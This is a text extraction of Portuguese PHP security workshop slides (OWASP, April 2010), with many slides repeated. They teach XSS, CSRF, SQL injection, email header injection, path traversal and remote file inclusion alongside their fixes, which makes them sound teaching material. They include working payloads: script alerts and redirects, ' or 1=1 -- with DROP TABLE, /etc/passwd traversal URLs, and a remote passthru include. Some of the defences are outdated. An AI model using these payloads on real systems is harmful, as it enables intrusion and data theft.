                                1)   <script> alert ('Ataque XSS')</script>
                                2 )<script>for (var i=0; i<10;i++)alert ('Ataque XSS');</script>




                                                                                    Abril 2010
22



g) XSS - Cross Site Scripting
                                1)   <script> alert ('Ataque XSS')</script>
                                2 )<script>for (var i=0; i<10;i++)alert ('Ataque XSS');</script>
                                3) <script>document.location="http://www.php.net";</script>




                                                                                    Abril 2010
22



g) XSS - Cross Site Scripting
                                1)   <script> alert ('Ataque XSS')</script>
                                2 )<script>for (var i=0; i<10;i++)alert ('Ataque XSS');</script>
                                3) <script>document.location="http://www.php.net";</script>




                                                  Solução
                                                       html_entities()
                                                       strip_tags()                 Abril 2010
23


h ) - CSRF (XSRF) – Cross Site Request Forgery

      ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP
      php_csrf.htm                                       php_CSRF.php




                                                                                   Abril 2010
23


h ) - CSRF (XSRF) – Cross Site Request Forgery

      ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP
      php_csrf.htm                                       php_CSRF.php




                                                                                   Abril 2010
23


h ) - CSRF (XSRF) – Cross Site Request Forgery

      ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP
      php_csrf.htm                                       php_CSRF.php



                       Atacante




                                                                                   Abril 2010
23


h ) - CSRF (XSRF) – Cross Site Request Forgery

      ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP
      php_csrf.htm                                       php_CSRF.php
      http://localhost/security/php_CSRF.php?Livro=lusiadas crackados&Quantidade=23



                       Atacante




                                                                                      Abril 2010
23


h ) - CSRF (XSRF) – Cross Site Request Forgery

      ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP
      php_csrf.htm                                       php_CSRF.php
      http://localhost/security/php_CSRF.php?Livro=lusiadas crackados&Quantidade=23



                       Atacante




                                                                                      Abril 2010
23


h ) - CSRF (XSRF) – Cross Site Request Forgery

      ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP
      php_csrf.htm                                       php_CSRF.php
      http://localhost/security/php_CSRF.php?Livro=lusiadas crackados&Quantidade=23



                       Atacante




                                                                                      Abril 2010
24


h ) - CSRF (XSRF) – Cross Site Request Forgery

Atacante – desenvolve o script e coloca-o num servidor
 //csrf_ataque.html
 <html>
 <head>
 <title>CSRF ATAQUE</title>
 </head>
 <body>
 <a href="http://www.vitima.pt/security/php_CSRF.php?Livro =lusiadas
 %20crackados&amp;Quantidade=23"><img
  style="border: 0px solid ; width: 115px; height: 61px;"
  alt="XSRF" src="php-med-trans.png"></a>
 </body>
 </html>




                                                                       Abril 2010
24


h ) - CSRF (XSRF) – Cross Site Request Forgery

Atacante – desenvolve o script e coloca-o num servidor
 //csrf_ataque.html
 <html>
 <head>
 <title>CSRF ATAQUE</title>
 </head>
 <body>
 <a href="http://www.vitima.pt/security/php_CSRF.php?Livro =lusiadas
 %20crackados&amp;Quantidade=23"><img
  style="border: 0px solid ; width: 115px; height: 61px;"
  alt="XSRF" src="php-med-trans.png"></a>
 </body>
 </html>




                                                                       Abril 2010
24


h ) - CSRF (XSRF) – Cross Site Request Forgery

Atacante – desenvolve o script e coloca-o num servidor
 //csrf_ataque.html
 <html>
 <head>
 <title>CSRF ATAQUE</title>
 </head>
 <body>
 <a href="http://www.vitima.pt/security/php_CSRF.php?Livro =lusiadas
 %20crackados&amp;Quantidade=23"><img
  style="border: 0px solid ; width: 115px; height: 61px;"
  alt="XSRF" src="php-med-trans.png"></a>
 </body>
 </html>

                                                          Solução
                                                          -Colocar tokens que se propaguem na aplicação



                                                                                                          Abril 2010
25




i) SQL injection
                           “SELECT * FROM identific WHERE nome LIKE ‘ ".$_REQUEST['nome']. “‘”
php_sqlinjection_sel.php
                            “SELECT * FROM identific WHERE nome LIKE ‘ “. Maria . “‘”
php_sqli_sel_sq2.php




                                                                                        Abril 2010
25




i) SQL injection
                           “SELECT * FROM identific WHERE nome LIKE ‘ ".$_REQUEST['nome']. “‘”
php_sqlinjection_sel.php
                            “SELECT * FROM identific WHERE nome LIKE ‘ “. Maria . “‘”
php_sqli_sel_sq2.php
                                                         1’ or ‘1’=‘1
                                                         %
                                                         ' or 1=1 –
                                                         ......




                                                                                        Abril 2010
25




i) SQL injection
                           “SELECT * FROM identific WHERE nome LIKE ‘ ".$_REQUEST['nome']. “‘”
php_sqlinjection_sel.php
                            “SELECT * FROM identific WHERE nome LIKE ‘ “. Maria . “‘”
php_sqli_sel_sq2.php
                                                          1’ or ‘1’=‘1
                                                          %
                                                          ' or 1=1 –
                                                          ......




                           “SELECT * FROM identific WHERE nome LIKE ‘ “. 1’ or ‘1’=‘1. “‘”




                                                                                        Abril 2010
25




   i) SQL injection
                                      “SELECT * FROM identific WHERE nome LIKE ‘ ".$_REQUEST['nome']. “‘”
   php_sqlinjection_sel.php
                                       “SELECT * FROM identific WHERE nome LIKE ‘ “. Maria . “‘”
   php_sqli_sel_sq2.php
                                                                     1’ or ‘1’=‘1
                                                                     %
                                                                     ' or 1=1 –
                                                                     ......




                                      “SELECT * FROM identific WHERE nome LIKE ‘ “. 1’ or ‘1’=‘1. “‘”
                     Activar selecção nome +password em
                           php_sqlinjection_sel.php
Aplicar em nome
      ‘ or 1=1 –
xxx; Drop table -- !!!

                                                                                                   Abril 2010
25




   i) SQL injection
                                      “SELECT * FROM identific WHERE nome LIKE ‘ ".$_REQUEST['nome']. “‘”
   php_sqlinjection_sel.php
                                       “SELECT * FROM identific WHERE nome LIKE ‘ “. Maria . “‘”
   php_sqli_sel_sq2.php
                                                                     1’ or ‘1’=‘1
                                                                     %
                                                                     ' or 1=1 –
                                                                     ......
    SQL_Inject_me



                                      “SELECT * FROM identific WHERE nome LIKE ‘ “. 1’ or ‘1’=‘1. “‘”
                     Activar selecção nome +password em
                           php_sqlinjection_sel.php
Aplicar em nome
      ‘ or 1=1 –
xxx; Drop table -- !!!

                                                                                                   Abril 2010
26




i) SQL injection -                 Solução
Limitar comprimento dos campos no formulário:




                                                Abril 2010
26




i) SQL injection -                 Solução
                                                Nome<br/><input type="text" name="nome" maxlength="15"/><br/>
Limitar comprimento dos campos no formulário:   Password<br/><input type="password" name="password" maxlength="10"/><br/>




                                                                                                                 Abril 2010
26




i) SQL injection -                   Solução
                                                  Nome<br/><input type="text" name="nome" maxlength="15"/><br/>
Limitar comprimento dos campos no formulário:     Password<br/><input type="password" name="password" maxlength="10"/><br/>

Validação do tipo de input:   is_int()
                              gettype()     if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos);
                              intval()      if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos);
                              settype()
                                            if (preg_match (‘^;([a-z0-9])$/i', $variável){ … };
                              strlen()
                              strtotime()
                              ….




                                                                                                                        Abril 2010
26




i) SQL injection -                   Solução
                                                  Nome<br/><input type="text" name="nome" maxlength="15"/><br/>
Limitar comprimento dos campos no formulário:     Password<br/><input type="password" name="password" maxlength="10"/><br/>

Validação do tipo de input:   is_int()
                              gettype()     if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos);
                              intval()      if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos);
                              settype()
                                            if (preg_match (‘^;([a-z0-9])$/i', $variável){ … };
                              strlen()
                              strtotime()
                              ….

 Limitar a utilização de caracteres/expressões SQL




                                                                                                                        Abril 2010
26




i) SQL injection -                    Solução
                                                    Nome<br/><input type="text" name="nome" maxlength="15"/><br/>
Limitar comprimento dos campos no formulário:       Password<br/><input type="password" name="password" maxlength="10"/><br/>

Validação do tipo de input:    is_int()
                               gettype()      if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos);
                               intval()       if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos);
                               settype()
                                              if (preg_match (‘^;([a-z0-9])$/i', $variável){ … };
                               strlen()
                               strtotime()
                               ….

 Limitar a utilização de caracteres/expressões SQL
          $sql = preg_replace(sql_regcase("/(from|select|insert|delete|where|drop table|show tables|#|*|--|)/"),"",$sql);




                                                                                                                          Abril 2010
26




i) SQL injection -                    Solução
                                                    Nome<br/><input type="text" name="nome" maxlength="15"/><br/>
Limitar comprimento dos campos no formulário:       Password<br/><input type="password" name="password" maxlength="10"/><br/>

Validação do tipo de input:    is_int()
                               gettype()      if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos);
                               intval()       if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos);
                               settype()
                                              if (preg_match (‘^;([a-z0-9])$/i', $variável){ … };
                               strlen()
                               strtotime()
                               ….

 Limitar a utilização de caracteres/expressões SQL
          $sql = preg_replace(sql_regcase("/(from|select|insert|delete|where|drop table|show tables|#|*|--|)/"),"",$sql);


 Efectuar o “escaping” de variáveis




                                                                                                                          Abril 2010
26




i) SQL injection -                    Solução
                                                    Nome<br/><input type="text" name="nome" maxlength="15"/><br/>
Limitar comprimento dos campos no formulário:       Password<br/><input type="password" name="password" maxlength="10"/><br/>

Validação do tipo de input:    is_int()
                               gettype()      if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos);
                               intval()       if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos);
                               settype()
                                              if (preg_match (‘^;([a-z0-9])$/i', $variável){ … };
                               strlen()
                               strtotime()
                               ….

 Limitar a utilização de caracteres/expressões SQL
          $sql = preg_replace(sql_regcase("/(from|select|insert|delete|where|drop table|show tables|#|*|--|)/"),"",$sql);


 Efectuar o “escaping” de variáveis
             sqlite_escape_string(), mysqlite_escape_string(), mysqlite_real_escape_string(),...).

                                     Ex: php_sqlinjection_sel1a.php  activar escaping



                                                                                                                          Abril 2010
26




i) SQL injection -                       Solução
                                                        Nome<br/><input type="text" name="nome" maxlength="15"/><br/>
Limitar comprimento dos campos no formulário:           Password<br/><input type="password" name="password" maxlength="10"/><br/>

Validação do tipo de input:       is_int()
                                  gettype()       if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos);
                                  intval()        if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos);
                                  settype()
                                                  if (preg_match (‘^;([a-z0-9])$/i', $variável){ … };
                                  strlen()
                                  strtotime()
                                  ….

 Limitar a utilização de caracteres/expressões SQL
            $sql = preg_replace(sql_regcase("/(from|select|insert|delete|where|drop table|show tables|#|*|--|)/"),"",$sql);


 Efectuar o “escaping” de variáveis
             sqlite_escape_string(), mysqlite_escape_string(), mysqlite_real_escape_string(),...).

                                        Ex: php_sqlinjection_sel1a.php  activar escaping
     Utilizar declarações (SQL)
                                           EX: script php_sqlinjection_sel1.php

                                                                                                                              Abril 2010
27


Segurança como um todo – o que fazer?

Como proteger das vulnerabilidades PHP?

Do ponto de vista do administrador do sistema:

Faça Upgrade para PHP 5.2 - elimina muitos dos problemas de segurança do PHP e permite usar APIs mais seguras ,(ex: PDO),
Teste as aplicações sempre que use novas versões do PHP,
Faça um scanning às aplicações em uso,
Considere a utilização da seguinte configuração em PHP:
      register_globals (deve estar off),
      allow_url_fopen (deve estar off),
      magic_quotes_gpc (deve estar off),
      open_basedir (deve estar on e configurada correctamente),



                                                                                                               Abril 2010
28


     Segurança como um todo – o que fazer?

     Como proteger das vulnerabilidades PHP ?
     Do ponto de vista do programador:
     Migrar urgentemente a aplicação para PHP 5.2 ou superior .
     Para evitar as questões anteriores:
             Programar com a última versão do PHP e com configuração “hardned”
             Validar todo o input de acordo com o tipo de variável atribuída
             Codificar todo o input utilizando htmlentities() ou mecanismos similares para evitar ataques XSS
             Migrar o interface de dados para PDO
             Não usar input fornecido por utilizadores que usem funções de ficheiros de forma a evitar ataques de inclusão de ficheiros
     Teste as suas aplicações com ferramentas como WebScarab, Firefox's Web Developer Toolbar, Greasemonkey and the XSS Assistant




           Adaptado de http://www.sans.org/top20/?portal=5e4388309c999823b11cf5556616bd46#s1


                                                                                                                              Abril 2010

OWASP@ ISCTE-IUL, Segurança em PHP

  • 1.
    1 OWASP @ ISCTE-IUL Workshop de Segurança Aplicacional Segurança em PHP Joaquim Marques - EST Abril 2010
  • 2.
    Aplicações Web -problemas No Início - Protocolo HTTP /browsers desenhados para permuta de documentos, - Utilização de tecnologias pouco interoperáveis na concepção de aplicações web, - Segurança das aplicações deixada para segundo plano. OWASP @ ISCTE-IUL Abril 2010
  • 3.
    Aplicações Web -problemas No Início - Protocolo HTTP /browsers desenhados para permuta de documentos, - Utilização de tecnologias pouco interoperáveis na concepção de aplicações web, - Segurança das aplicações deixada para segundo plano. Actualidade - Quase todas as aplicações Web tem problemas de segurança (diferentes umas das outras) - Dificuldade em criar aplicações razoavelmente seguras -Segurança é dispendiosa (análise de risco) - Segurança dificulta a usabilidade OWASP @ ISCTE-IUL Abril 2010
  • 4.
    Aplicações Web -problemas No Início - Protocolo HTTP /browsers desenhados para permuta de documentos, - Utilização de tecnologias pouco interoperáveis na concepção de aplicações web, - Segurança das aplicações deixada para segundo plano. Actualidade - Quase todas as aplicações Web tem problemas de segurança (diferentes umas das outras) - Dificuldade em criar aplicações razoavelmente seguras -Segurança é dispendiosa (análise de risco) - Segurança dificulta a usabilidade OWASP @ ISCTE-IUL Abril 2010
  • 5.
    3 http://i.cmpnet.com/v2.gocsi.com/pdf/CSISurvey2007.pdf 2005 CSI/FBI Annual Computer Crime and Security Survey Abril 2010
  • 6.
    4 CAPÍTULO II Dos crimesligados à informática Artigo 3º - Falsidade informática Pena de prisão Artigo 4º - Dano relativo a programas ou outros dados Informáticos Artigo 5º - Sabotagem informática Artigo 6º - Acesso ilegítimo Artigo 7º - Intercepção ilegítima Abril 2010
  • 7.
    5 Questões de segurançaactuais - vulnerabilidades Ataques de “hackers” - negação de serviço, - assalto a servidores, Ameaças vulgares (vírus, spyware, pishing,…) Comprometimento de dados Abril 2010
  • 8.
    5 Questões de segurançaactuais - vulnerabilidades Ataques de “hackers” - negação de serviço, - assalto a servidores, Ameaças vulgares (vírus, spyware, pishing,…) Comprometimento de dados Ameaças – O que fazer < Monitorização: saber o que aconteceu. < Deteccão: saber quando fui atacado. < Prevenção parar os ataques antes de terem sucesso. < Avaliação: descobrir os problemas primeiro que os atacantes Abril 2010
  • 9.
    6 Firewall de rede OWASP @ ISCTE-IUL Abril 2010
  • 10.
    6 Firewall de rede Exploração de vulnerabilidades através: - Web servers - Database servers - Web Application Servers OWASP @ ISCTE-IUL Abril 2010
  • 11.
    7 Abril 2010
  • 12.
    7 Abril 2010
  • 13.
    7 Abril 2010
  • 14.
    8 - TOP 10 vulnerabilidades de aplicações Web 2010 Abril 2010
  • 15.
    9 PHP – tiposde vulnerabilidades mais explorados PHP Remote File Include: Por defeito o PHP permite que as funções que lidam com ficheiros acedam a recursos através da funcionalidade/extensão "allow_url_fopen". Ao permitir que os scripts permitam que o input de utilizadores influenciem os nomes de ficheiros então a inclusão remota de ficheiros pode resultar. Este ataque permite: Execução de código remoto Instalação de rootkits Compromisso do sistema SQL Injection: As injecções são possíveis pelo fornecimento de dados falsamente interpretados pelas queries SQL. As injecções SQL permitem ao atacante: Criar, ler, alterar, e apagar os dados disponíveis para a aplicação comprometendo a base de dados e o próprio sistema. Cross-Site Scripting (XSS): Permite ao atacante desfigurar um website, inserir conteúdo hostil, conduzir ataques de pishing, assaltar o browser usando javascript e até forçar o utilizador a usar comandos inapropriados sem o saber (XSRF). Cross-Site Request Forgeries (CSR/XSRF): Força os utilizadores legítimos a executar comandos sem o seu consentimento, sendo extremamente difícil de prevenir ( a sua sofisticação tem vindo a aumentar pela utilização de técnicas AJAX e até de worms automatizados - Samy MySpace Worm. http://www.sans.org/top20/#s1 Abril 2010
  • 16.
    10 PHP – cuidados básicos - verificar configuração do servidor Web/PHP - validar Input do utilizador Solução Auditoria(s) - ao servidor e aplicações Hábitos de programação segura Testes ao código Abril 2010
  • 17.
    10 PHP – cuidados básicos - verificar configuração do servidor Web/PHP - validar Input do utilizador Solução Auditoria(s) - ao servidor e aplicações Hábitos de programação segura Testes ao código Abril 2010
  • 18.
    10 PHP – cuidados básicos - verificar configuração do servidor Web/PHP - validar Input do utilizador Solução Auditoria(s) - ao servidor e aplicações Hábitos de programação segura Testes ao código Abril 2010
  • 19.
    11 Ferramentas PhpSecInfo PHP SecAudit –Dan Lefree Alteração directivas php.ini (se for administrador) .htaccess php_flag directive value ini_set() Abril 2010
  • 20.
    12 Regra básica Nunca confiar no “Input” dos utilizadores Origem input -Campos de formulário -Dados $_GET, $_POST, $_REQUEST -Cookies ($_COOKIES) -Dados de Web services -Ficheiros -Variáveis de servidor (ex:. $_SERVER['SERVER_NAME']) -Variáveis de ambiente -Resultados de querys a BD’s Abril 2010
  • 21.
    12 Regra básica Nunca confiar no “Input” dos utilizadores Origem input -Campos de formulário -Dados $_GET, $_POST, $_REQUEST -Cookies ($_COOKIES) -Dados de Web services -Ficheiros -Variáveis de servidor (ex:. $_SERVER['SERVER_NAME']) -Variáveis de ambiente -Resultados de querys a BD’s Abril 2010
  • 22.
    12 Regra básica Nunca confiar no “Input” dos utilizadores Filtragem e validação de dados em PHP Ferramentas e funções tradicionais Ferramentas standard (extensão filter-> PHP 5.2) funções que testam, validam e filtram o input dos utilizadores Abril 2010
  • 23.
    12 Regra básica Nunca confiar no “Input” dos utilizadores Filtragem e validação de dados em PHP Ferramentas e funções tradicionais Ferramentas standard (extensão filter-> PHP 5.2) funções que testam, validam e filtram o input dos utilizadores FILTER_SANITIZE_STRING "string" FILTER_VALIDATE_INT "int" FILTER_SANITIZE_STRIPPED "stripped" FILTER_VALIDATE_BOOLEAN "boolean" FILTER_SANITIZE_ENCODED "encoded" FILTER_VALIDATE_FLOAT "float" FILTER_SANITIZE_SPECIAL_CHARS "special_chars" FILTER_VALIDATE_REGEXP "validate_regexp" FILTER_SANITIZE_EMAIL "email" FILTER_VALIDATE_URL "validate_url" FILTER_SANITIZE_URL "url" FILTER_VALIDATE_EMAIL "validate_email" FILTER_SANITIZE_NUMBER_INT "number_int" FILTER_VALIDATE_IP "validate_ip" FILTER_SANITIZE_NUMBER_FLOAT "number_float" FILTER_SANITIZE_MAGIC_QUOTES "magic_quotes" FILTER_CALLBACK "callback" Abril 2010
  • 24.
    12 Regra básica Nunca confiar no “Input” dos utilizadores Filtragem e validação de dados em PHP Ferramentas e funções tradicionais Ferramentas standard (extensão filter-> PHP 5.2) funções que testam, validam e filtram o input dos utilizadores FILTER_SANITIZE_STRING "string" FILTER_VALIDATE_INT "int" FILTER_SANITIZE_STRIPPED "stripped" FILTER_VALIDATE_BOOLEAN "boolean" FILTER_SANITIZE_ENCODED "encoded" FILTER_VALIDATE_FLOAT "float" FILTER_SANITIZE_SPECIAL_CHARS "special_chars" FILTER_VALIDATE_REGEXP "validate_regexp" FILTER_SANITIZE_EMAIL "email" FILTER_VALIDATE_URL "validate_url" FILTER_SANITIZE_URL "url" FILTER_VALIDATE_EMAIL "validate_email" FILTER_SANITIZE_NUMBER_INT "number_int" FILTER_VALIDATE_IP "validate_ip" FILTER_SANITIZE_NUMBER_FLOAT "number_float" FILTER_SANITIZE_MAGIC_QUOTES "magic_quotes" FILTER_CALLBACK "callback" Funções de filtragem filter_var ( $variable [, $filter [,$options ]] ) filter_input ( $type , $variable_name [, $filter [, $options ]] ) …. Abril 2010
  • 25.
    13 Owasp ESAPI(enterprise security API) for PHP http://code.google.com/p/owasp-esapi-php/ PHP – níveis múltiplos de filtragem de dados Abril 2010
  • 26.
    13 Owasp ESAPI(enterprise security API) for PHP http://code.google.com/p/owasp-esapi-php/ PHP – níveis múltiplos de filtragem de dados Abril 2010
  • 27.
    13 Owasp ESAPI(enterprise security API) for PHP http://code.google.com/p/owasp-esapi-php/ PHP – níveis múltiplos de filtragem de dados Abril 2010
  • 28.
    14 Precauções básicas em PHP • restrição no acesso a phpinfo(), -> disable_functions =phpinfo • utilize ligações seguras SSL • utilize ficheiros e directórios ocultos/privados • “cuidados” com a configuração do PHP • listagem/reporting de erros • register_globals • safe_mode • “cuidados” com os privilégios na administração das BD´s • “cuidados” com os ficheiros de instalação/config das aplicações Abril 2010
  • 29.
    14 Precauções básicas em PHP • restrição no acesso a phpinfo(), <?php -> disable_functions =phpinfo echo "---"; • utilize ligações seguras SSL //ini_set(disable_functions =phpinfo); • utilize ficheiros e directórios ocultos/privados //ini_set(register_globals = Off); sem qq efeito • “cuidados” com a configuração do PHP //ini_set(safe_mode = Off); sem qq efeito • listagem/reporting de erros ini_set('display_errors', 'Off'); ini_set('log_errors', 'On'); • register_globals ini_set('error_log', '../logs/error_log'); • safe_mode ini_set('error_reporting', E_ALL | E_STRICT); • “cuidados” com os privilégios na administração das BD´s phpinfo(); • “cuidados” com os ficheiros de instalação/config das aplicações ?> Abril 2010
  • 30.
    14 Precauções básicas em PHP • restrição no acesso a phpinfo(), <?php -> disable_functions =phpinfo echo "---"; • utilize ligações seguras SSL //ini_set(disable_functions =phpinfo); • utilize ficheiros e directórios ocultos/privados //ini_set(register_globals = Off); sem qq efeito • “cuidados” com a configuração do PHP //ini_set(safe_mode = Off); sem qq efeito • listagem/reporting de erros ini_set('display_errors', 'Off'); ini_set('log_errors', 'On'); • register_globals ini_set('error_log', '../logs/error_log'); • safe_mode ini_set('error_reporting', E_ALL | E_STRICT); • “cuidados” com os privilégios na administração das BD´s phpinfo(); • “cuidados” com os ficheiros de instalação/config das aplicações ?> <? //ini_set('register_globals', 'Off'); sem qq efeito //$auth=0; if ($password == "chave") { $auth = 1; } if ($auth == 1) { echo "acesso permitido"; } else { echo "acesso recusado"; } Abril 2010 ?>
  • 31.
    15 a)- Spoofing doendereço de e-mail To: $recipient Subject: $subject mail($recipient,$subject,$message,$headers) $headers $message <html> <body> <form method='POST' <?php action='php_email_injectiona.php'> //php_email_injectiona Para: @example.com <br /> ini_set("SMTP","mail.est.ipcb.pt"); De: <input name='email' type='text' /> <br /> ini_set("sendmail_from",“marques@est.ipcb.pt"); Assunto: <input name='assunto' type='text' /><br /> Message:<br /> if (isset($_POST['email'])){ <textarea name='mensagem' rows='10' cols='40'> $email = $_POST['email'] ; </textarea><br /> $assunto = $_POST['assunto'] ; <input type='submit' name='enviar' value='enviar'/> $mensagem = $_POST['mensagem'] ; </form> <?php if (mail("marques@est.ipcb.pt",$assunto,$mensagem, "From: $email" )){; } echo "Obrigado por enviar o email"; ?> } </body></html> }else{ ?> Abril 2010
  • 32.
    15 a)- Spoofing doendereço de e-mail To: $recipient Subject: $subject mail($recipient,$subject,$message,$headers) $headers $message Abril 2010
  • 33.
    15 a)- Spoofing doendereço de e-mail To: $recipient Subject: $subject mail($recipient,$subject,$message,$headers) $headers $message function spamcheck($field){ if(eregi("to:",$field) || eregi ("cc:",$field)) { return TRUE; Php_email_injection_a.php } else { return FALSE; } } Abril 2010
  • 34.
    16 b)Inclusão de ficheiros (Directory Travessal/Remote Inclusion) Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..) <?php //php_include.php echo "PHP_Include()"; include($_GET['fich']); ?> D. T. Abril 2010
  • 35.
    16 b)Inclusão de ficheiros (Directory Travessal/Remote Inclusion) Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..) <?php http://localhost/php_include.php?fich=teste.txt //php_include.php echo "PHP_Include()"; include($_GET['fich']); ?> D. T. Abril 2010
  • 36.
    16 b)Inclusão de ficheiros (Directory Travessal/Remote Inclusion) Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..) <?php http://localhost/php_include.php?fich=teste.txt //php_include.php http://localhost/security/php_include.php?fich=c:/boot.ini echo "PHP_Include()"; include($_GET['fich']); ?> D. T. Abril 2010
  • 37.
    16 b)Inclusão de ficheiros (Directory Travessal/Remote Inclusion) Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..) <?php http://localhost/php_include.php?fich=teste.txt //php_include.php http://localhost/security/php_include.php?fich=c:/boot.ini echo "PHP_Include()"; include($_GET['fich']); http://localhost/php_include.php?fich=/etc/passwd ?> D. T. Abril 2010
  • 38.
    16 b)Inclusão de ficheiros (Directory Travessal/Remote Inclusion) Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..) <?php http://localhost/php_include.php?fich=teste.txt //php_include.php http://localhost/security/php_include.php?fich=c:/boot.ini echo "PHP_Include()"; include($_GET['fich']); http://localhost/php_include.php?fich=/etc/passwd ?> D. T. Abril 2010
  • 39.
    16 b)Inclusão de ficheiros (Directory Travessal/Remote Inclusion) Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..) <?php http://localhost/php_include.php?fich=teste.txt //php_include.php http://localhost/security/php_include.php?fich=c:/boot.ini echo "PHP_Include()"; include($_GET['fich']); http://localhost/php_include.php?fich=/etc/passwd ?> http://localhost/php_include.php?fich=../../../etc/passwd D. T. Abril 2010
  • 40.
    16 b)Inclusão de ficheiros (Directory Travessal/Remote Inclusion) Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..) <?php http://localhost/php_include.php?fich=teste.txt //php_include.php http://localhost/security/php_include.php?fich=c:/boot.ini echo "PHP_Include()"; include($_GET['fich']); http://localhost/php_include.php?fich=/etc/passwd ?> http://localhost/php_include.php?fich=../../../etc/passwd D. T. Solução: <?php //php_include_sec.php echo"PHP_Include() -exemplo ataque <br>"; include(basename(realpath($_GET['fich']))); ?> Abril 2010
  • 41.
    16 b)Inclusão de ficheiros (Directory Travessal/Remote Inclusion) Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..) <?php http://localhost/php_include.php?fich=teste.txt //php_include.php http://localhost/security/php_include.php?fich=c:/boot.ini echo "PHP_Include()"; include($_GET['fich']); http://localhost/php_include.php?fich=/etc/passwd ?> http://localhost/php_include.php?fich=../../../etc/passwd D. T. Solução alternativa Solução: <?php //php_include_sec.php echo"PHP_Include() -exemplo ataque <br>"; include(basename(realpath($_GET['fich']))); ?> Abril 2010
  • 42.
    16 b)Inclusão de ficheiros (Directory Travessal/Remote Inclusion) Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..) <?php http://localhost/php_include.php?fich=teste.txt //php_include.php http://localhost/security/php_include.php?fich=c:/boot.ini echo "PHP_Include()"; include($_GET['fich']); http://localhost/php_include.php?fich=/etc/passwd ?> http://localhost/php_include.php?fich=../../../etc/passwd D. T. Solução alternativa Solução: <?php Safemode=on //php_include_sec.php Open_basedir=/path echo"PHP_Include() -exemplo ataque <br>"; include(basename(realpath($_GET['fich']))); ?> R. I. Abril 2010
  • 43.
    16 b)Inclusão de ficheiros (Directory Travessal/Remote Inclusion) Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..) <?php http://localhost/php_include.php?fich=teste.txt //php_include.php http://localhost/security/php_include.php?fich=c:/boot.ini echo "PHP_Include()"; include($_GET['fich']); http://localhost/php_include.php?fich=/etc/passwd ?> http://localhost/php_include.php?fich=../../../etc/passwd D. T. Solução alternativa Solução: <?php Safemode=on //php_include_sec.php Open_basedir=/path echo"PHP_Include() -exemplo ataque <br>"; include(basename(realpath($_GET['fich']))); ?> ocorre quando um atacante é capaz de fazer sua aplicação executar código PHP da sua escolha <?php //php_include1.php –colocar no site atacante R. print "<pre>"; I. passthru("dir"); print "</pre>"; ?> Abril 2010
  • 44.
    16 b)Inclusão de ficheiros (Directory Travessal/Remote Inclusion) Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..) <?php http://localhost/php_include.php?fich=teste.txt //php_include.php http://localhost/security/php_include.php?fich=c:/boot.ini echo "PHP_Include()"; include($_GET['fich']); http://localhost/php_include.php?fich=/etc/passwd ?> http://localhost/php_include.php?fich=../../../etc/passwd D. T. Solução alternativa Solução: <?php Safemode=on //php_include_sec.php Open_basedir=/path echo"PHP_Include() -exemplo ataque <br>"; include(basename(realpath($_GET['fich']))); ?> ocorre quando um atacante é capaz de fazer sua aplicação executar código PHP da sua escolha <?php //php_include1.php –colocar no site atacante R. print "<pre>"; I. passthru("dir"); print "</pre>"; http://localhost/security/php_include.php?fich=http:// ?> www.est.ipcb.pt/pessoais/marques/php_include1.phpsec Abril 2010
  • 45.
    16 b)Inclusão de ficheiros (Directory Travessal/Remote Inclusion) Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..) <?php http://localhost/php_include.php?fich=teste.txt //php_include.php http://localhost/security/php_include.php?fich=c:/boot.ini echo "PHP_Include()"; include($_GET['fich']); http://localhost/php_include.php?fich=/etc/passwd ?> http://localhost/php_include.php?fich=../../../etc/passwd D. T. Solução alternativa Solução: <?php Safemode=on //php_include_sec.php Open_basedir=/path echo"PHP_Include() -exemplo ataque <br>"; include(basename(realpath($_GET['fich']))); ?> ocorre quando um atacante é capaz de fazer sua aplicação executar código PHP da sua escolha <?php //php_include1.php –colocar no site atacante R. print "<pre>"; I. passthru("dir"); print "</pre>"; http://localhost/security/php_include.php?fich=http:// ?> www.est.ipcb.pt/pessoais/marques/php_include1.phpsec Safe_mode=off Funciona com Allow_url_include=on Allow_url_fopen=on Abril 2010
  • 46.
